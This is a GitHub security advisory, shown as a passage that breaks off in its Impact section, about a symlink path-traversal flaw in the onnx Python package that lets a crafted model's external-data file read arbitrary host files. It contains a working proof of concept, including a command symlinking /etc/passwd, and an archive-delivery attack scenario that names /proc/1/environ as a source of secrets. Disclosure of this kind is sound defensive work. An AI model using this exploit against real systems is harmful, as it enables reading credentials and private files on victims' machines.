GitHub Security Advisory: GHSA-3r9x-f23j-gc73
Package: onnx (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-23: Relative Path Traversal, CWE-61: UNIX Symbolic Link (Symlink) Following
Vulnerable versions: <= 1.20.0
Patched in: 1.21.0

Summary: onnx Vulnerable to Path Traversal via Symlink

Details:
### Summary
A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. 

### Details
The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:
https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033

`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file. 


### PoC



```python
# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper

def create_onnx_model(output_path="model.onnx"):
    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)

    X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
    Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
    W = numpy_helper.from_array(weight_matrix, name="W")

    matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")

    graph = helper.make_graph(
        nodes=[matmul_node],
        name="SimpleModel",
        inputs=[X],
        outputs=[Y],
        initializer=[W]
    )

    model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
    onnx.checker.check_model(model)

    data_file = output_path.replace('.onnx', '.data')

    if os.path.exists(output_path):
        os.remove(output_path)
    if os.path.exists(data_file):
        os.remove(data_file)

    onnx.save_model(
        model,
        output_path,
        save_as_external_data=True,
        all_tensors_to_one_file=True,
        location=os.path.basename(data_file),
        size_threshold=1024 * 1024
    )

if __name__ == "__main__":
    create_onnx_model("model.onnx")
```

1. Run the above code to generate a sample model with external data.
2. Remove `model.data`
3. Run `ln -s /etc/passwd model.data`
4. Load the model using the following code
5. Observe check for symlink is bypassed and model is succesfuly loaded

```python
import onnx
from onnx.external_data_helper import load_external_data_for_model

def load_onnx_model_basic(model_path="model.onnx"):
    model = onnx.load(model_path)
    return model

def load_onnx_model_explicit(model_path="model.onnx"):
    model = onnx.load(model_path, load_external_data=False)
    load_external_data_for_model(model, ".")
    return model

if __name__ == "__main__":
    model = load_onnx_model_basic("model.onnx")

```

A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing `poc.onnx` and `poc.data (symlink)`. Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.


### Impact

Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads t